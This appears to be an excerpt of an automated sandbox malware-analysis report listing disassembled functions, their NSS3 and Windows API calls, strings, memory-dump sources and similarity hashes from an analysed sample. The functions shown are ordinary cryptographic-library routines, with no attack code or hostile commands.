Function 6CFCAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFCAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6D0E9500,6CFC3F91), ref: 6CFCAFD2

Part of subcall function 6D01B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0F18D0,?), ref: 6D01B095

DER_GetInteger_Util.NSS3(?), ref: 6CFCB007

Part of subcall function 6D016A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CFC1666,?,6CFCB00C,?), ref: 6D016AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CFCB02F
PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6CFCB046
PL_FreeArenaPool.NSS3 ref: 6CFCB058
PL_FinishArenaPool.NSS3 ref: 6CFCB060

Strings

security, xrefs: 6CFCAFB8

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 973ad8ae34da392583762bbf33fe8853083e68c132a8d447c4b563f2f43f6474
Instruction ID: d4d6b13448388595e0b538ec34ff50a1f39debcd8198d40460e212c2fbd6af60
Opcode Fuzzy Hash: 973ad8ae34da392583762bbf33fe8853083e68c132a8d447c4b563f2f43f6474
Instruction Fuzzy Hash: 13315775648301ABEB208F24DC41B6B77A4BF8632CF500A18F9B46B6D1E3329149CB97

Function 6CFC3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CFC40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CFC3F7F,?,00000055,?,?,6CFC1666,?,?), ref: 6CFC40D9
Part of subcall function 6CFC40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CFC1666,?,?), ref: 6CFC40FC
Part of subcall function 6CFC40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CFC1666,?,?), ref: 6CFC4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFC3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CFC3ED6

Part of subcall function 6D01B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0F18D0,?), ref: 6D01B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFC3EEE

Part of subcall function 6D01FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D018D2D,?,00000000,?), ref: 6D01FB85
Part of subcall function 6D01FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D01FBB1

PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6CFC3F02
PL_FreeArenaPool.NSS3 ref: 6CFC3F14
PL_FinishArenaPool.NSS3 ref: 6CFC3F1C

Part of subcall function 6D0264F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6D02127C,00000000,00000000,00000000), ref: 6D02650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFC3F27

Strings

security, xrefs: 6CFC3EBC

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 9c7027ec374c49f71d15a9682f2620da575335336a21b6afa1ae590a956937d8
Instruction ID: e97707dc431c4535c99c3aebc001884a5ea099615ae9466d62284c1f904679b3
Opcode Fuzzy Hash: 9c7027ec374c49f71d15a9682f2620da575335336a21b6afa1ae590a956937d8
Instruction Fuzzy Hash: 0721F8B2A083016BE7148B14AC41F6B77B8BB8835CF45053DFA4967782E731D618C797

Function 6CFFACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CFFACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CFFAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CFFAD23

Part of subcall function 6D0DD930: PL_strncpyz.NSS3(?,?,?), ref: 6D0DD963

PR_LogPrint.NSS3(?,00000000), ref: 6CFFAD39

Strings

(CK_INVALID_HANDLE), xrefs: 6CFFAD1C
nm, xrefs: 6CFFAD51, 6CFFAD7B
C_MessageDecryptFinal, xrefs: 6CFFACE1
hSession = 0x%x, xrefs: 6CFFACFE, 6CFFAD0E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nm
API String ID: 332880674-2826358116
Opcode ID: 6decd0727076a4178f7d81771a171f7e74e51824bc55f80c5eb6da43e5c06a4d
Instruction ID: ebff8738cafcd610a0c963ea0964af2002ea5f746efbd7b194c852d376f984ab
Opcode Fuzzy Hash: 6decd0727076a4178f7d81771a171f7e74e51824bc55f80c5eb6da43e5c06a4d
Instruction Fuzzy Hash: F3214971501204AFEB009F64ED85F6F37B4EB4230DF454025E81DA7662DBB1D886CBA2

Function 6D00CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6D00CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6D00CE16
PR_SetError.NSS3(00000000,00000000), ref: 6D00D079

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 43613fd4077839247945662d7e2c7d9bda9611bbbc18d9d40ee485b07ed60dac
Instruction ID: 9ff3ae5a6c8a76bd4852bc2e4d93983fecce7080165fa444c4729a91c3b28ab7
Opcode Fuzzy Hash: 43613fd4077839247945662d7e2c7d9bda9611bbbc18d9d40ee485b07ed60dac
Instruction Fuzzy Hash: C9C161B1900219ABFB11CF14CC80BEAB7F4BB48314F1581A9D94C97241E775EA95CFA5

Function 6CFFDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6D0097C1,?,00000000,00000000,?,?,?,00000000,?,6CFE7F4A,00000000), ref: 6CFFDC68

Part of subcall function 6D020BE0: malloc.MOZGLUE(6D018D2D,?,00000000,?), ref: 6D020BF8
Part of subcall function 6D020BE0: TlsGetValue.KERNEL32(6D018D2D,?,00000000,?), ref: 6D020C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CFE7F4A,00000000,?,00000000,00000000), ref: 6CFFDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CFE7F4A,00000000,?,00000000,00000000), ref: 6CFFDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CFE7F4A,00000000,?,00000000,00000000), ref: 6CFFDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CFE7F4A,00000000,?,00000000,00000000), ref: 6CFFDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CFE7F4A,00000000,?,00000000,00000000), ref: 6CFFDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CFE7F4A,00000000,?,00000000,00000000), ref: 6CFFDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CFE7F4A,00000000,?,00000000,00000000), ref: 6CFFDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CFE7F4A,00000000,?,00000000,00000000), ref: 6CFFDFAA

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 2592d7dc6faddda347df6851dcd13901e2a65b1a56ff02c8e83dc377721a11bf
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 1C81E272A066058BFF154E19C8A03EA72D6DB60749F20843AD979CBEF5D7B4C482C712

Function 6CFD3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CFD3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFD3C94

Part of subcall function 6CFC95B0: TlsGetValue.KERNEL32(00000000,?,6CFE00D2,00000000), ref: 6CFC95D2
Part of subcall function 6CFC95B0: EnterCriticalSection.KERNEL32(?,?,?,6CFE00D2,00000000), ref: 6CFC95E7
Part of subcall function 6CFC95B0: PR_Unlock.NSS3(?,?,?,?,6CFE00D2,00000000), ref: 6CFC9605

PORT_NewArena_Util.NSS3(00000800), ref: 6CFD3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CFD3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CFD3CE1

Part of subcall function 6CFD3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFEAE42), ref: 6CFD30AA
Part of subcall function 6CFD3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFD30C7
Part of subcall function 6CFD3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFD30E5
Part of subcall function 6CFD3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFD3116
Part of subcall function 6CFD3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFD312B
Part of subcall function 6CFD3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFD3154
Part of subcall function 6CFD3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFD317E

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 77c3d7fce1ed3622d8fe9fb599c801369d92b5361a5cd1b1c49983804e3d78cd
Instruction ID: b5cf675e13ab17b2f48bddd3fda7712cd717b8ed05e3d180aa487c7db52f7a9c
Opcode Fuzzy Hash: 77c3d7fce1ed3622d8fe9fb599c801369d92b5361a5cd1b1c49983804e3d78cd
Instruction Fuzzy Hash: 50619DB5A04201BBFB105E65DC45FAB76B9AF08748F0E4028FF099B592F731E918C7A1

Function 6D013D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6D013440: PK11_GetAllTokens.NSS3 ref: 6D013481
Part of subcall function 6D013440: PR_SetError.NSS3(00000000,00000000), ref: 6D0134A3
Part of subcall function 6D013440: TlsGetValue.KERNEL32 ref: 6D01352E
Part of subcall function 6D013440: EnterCriticalSection.KERNEL32(?), ref: 6D013542
Part of subcall function 6D013440: PR_Unlock.NSS3(?), ref: 6D01355B

TlsGetValue.KERNEL32 ref: 6D013D8B
EnterCriticalSection.KERNEL32(?), ref: 6D013D9F
PR_Unlock.NSS3(?), ref: 6D013DCA
PR_SetError.NSS3(00000000,00000000), ref: 6D013DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6D013E4F

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

TlsGetValue.KERNEL32 ref: 6D013E97
EnterCriticalSection.KERNEL32(?), ref: 6D013EAB
PR_Unlock.NSS3(?), ref: 6D013ED6
PR_SetError.NSS3(00000000,00000000), ref: 6D013EEE

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 88f4005ac42b958aebf9eb4c8d3d5b4584aabda19b276bab630a7f365636f603
Instruction ID: 449cb108ed18835899d0f2d372f8a33bdbd12022d0bbc0e7936f8207a426b40c
Opcode Fuzzy Hash: 88f4005ac42b958aebf9eb4c8d3d5b4584aabda19b276bab630a7f365636f603
Instruction Fuzzy Hash: 715135759083029BFB119FA9EC41B6A77F4FF49314F054128DD0987252EB72E890CBD1

Function 6CFC2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(28678A59), ref: 6CFC2C5D

Part of subcall function 6D020D30: calloc.MOZGLUE ref: 6D020D50
Part of subcall function 6D020D30: TlsGetValue.KERNEL32 ref: 6D020D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CFC2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFC2CE0

Part of subcall function 6CFC2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CFC2CDA,?,00000000), ref: 6CFC2E1E
Part of subcall function 6CFC2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CFC2E33
Part of subcall function 6CFC2E00: TlsGetValue.KERNEL32 ref: 6CFC2E4E
Part of subcall function 6CFC2E00: EnterCriticalSection.KERNEL32(?), ref: 6CFC2E5E
Part of subcall function 6CFC2E00: PL_HashTableLookup.NSS3(?), ref: 6CFC2E71
Part of subcall function 6CFC2E00: PL_HashTableRemove.NSS3(?), ref: 6CFC2E84
Part of subcall function 6CFC2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CFC2E96
Part of subcall function 6CFC2E00: PR_Unlock.NSS3 ref: 6CFC2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFC2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CFC2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CFC2D3F
free.MOZGLUE(00000000), ref: 6CFC2D73
CERT_DestroyCertificate.NSS3(?), ref: 6CFC2DB8
free.MOZGLUE ref: 6CFC2DC8

Part of subcall function 6CFC3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFC3EC2
Part of subcall function 6CFC3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CFC3ED6
Part of subcall function 6CFC3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFC3EEE
Part of subcall function 6CFC3E60: PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6CFC3F02
Part of subcall function 6CFC3E60: PL_FreeArenaPool.NSS3 ref: 6CFC3F14
Part of subcall function 6CFC3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFC3F27

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 39cee08a3d73a80a6442cfd380b4a2ba9d2e92ce405fa4cb1736cc2e6f4bc790
Instruction ID: 2b51163efb2d07d25ec4c574e7dcb434bbc03ed6b92476ae49a3478a1dda956b
Opcode Fuzzy Hash: 39cee08a3d73a80a6442cfd380b4a2ba9d2e92ce405fa4cb1736cc2e6f4bc790
Instruction Fuzzy Hash: 7C51BC72B043139BEB01DE69DC89B5B77E5EFA4318F150428EC5993650EB32E8198B93

Function 6CFC7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFC40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CFC3F7F,?,00000055,?,?,6CFC1666,?,?), ref: 6CFC40D9
Part of subcall function 6CFC40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CFC1666,?,?), ref: 6CFC40FC
Part of subcall function 6CFC40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CFC1666,?,?), ref: 6CFC4138

PR_GetCurrentThread.NSS3 ref: 6CFC7CFD

Part of subcall function 6D089BF0: TlsGetValue.KERNEL32(?,?,?,6D0D0A75), ref: 6D089C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6D0E9030), ref: 6CFC7D1B

Part of subcall function 6D01FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CFC1A3E,00000048,00000054), ref: 6D01FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6D0E9048), ref: 6CFC7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CFC7D50
PR_GetCurrentThread.NSS3 ref: 6CFC7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CFC7D7D
free.MOZGLUE(?), ref: 6CFC7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CFC7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CFC7E19

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 5a9308a7ce3d23a589fef62577d139a64b427406186b022c7889db21b2059d59
Instruction ID: 78ca8c1b079fc9dfdf92ee55048ed02d1299187bf094068c6b64afb027bda75c
Opcode Fuzzy Hash: 5a9308a7ce3d23a589fef62577d139a64b427406186b022c7889db21b2059d59
Instruction Fuzzy Hash: A741C172B0411B9BEB008F69AC41BBF37A8AF5436CF060026ED19A7651E730E95587A3

Function 6CFD7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CFD80DD), ref: 6CFD7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CFD80DD), ref: 6CFD7F36
free.MOZGLUE(?,?,?,6CFD80DD), ref: 6CFD7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CFD80DD), ref: 6CFD7F5D
DeleteCriticalSection.KERNEL32(?,6CFD80DD), ref: 6CFD7F94
free.MOZGLUE(?), ref: 6CFD7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CFD80DD), ref: 6CFD7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CFD80DD), ref: 6CFD7FE6
free.MOZGLUE(?,6CFD80DD), ref: 6CFD802D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: b400dd82be7c0e680fb854cbc95d973f85213078526cdc8bd5b8a162fce8c097
Instruction ID: dc78e7aacd01019a74cca9cef9bb26f78fa587d0a080c1cdc0f2e828b53be274
Opcode Fuzzy Hash: b400dd82be7c0e680fb854cbc95d973f85213078526cdc8bd5b8a162fce8c097
Instruction Fuzzy Hash: 6A41F9B1A151006BDB208FB9FC86F8F77B5AB47358F1A022AE51587740D7B2A445CBD1

Function 6D01FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D01FF00

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6D01FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6D01FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6D01FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6D01FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6D01FF8C

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 9cafe150ff7ab49e23f129b6b2667c799dedb89e0d0b95d4219c1ea5a39f2578
Instruction ID: e8542f0650513350856a353ae059dc082fb87b16119d3e2c0b7c6cbbfef8b775
Opcode Fuzzy Hash: 9cafe150ff7ab49e23f129b6b2667c799dedb89e0d0b95d4219c1ea5a39f2578
Instruction Fuzzy Hash: 8131C2B790D7169BF7108E969C80B2ABAECAF56344F054139ED1C97241EBB1D910C7D2

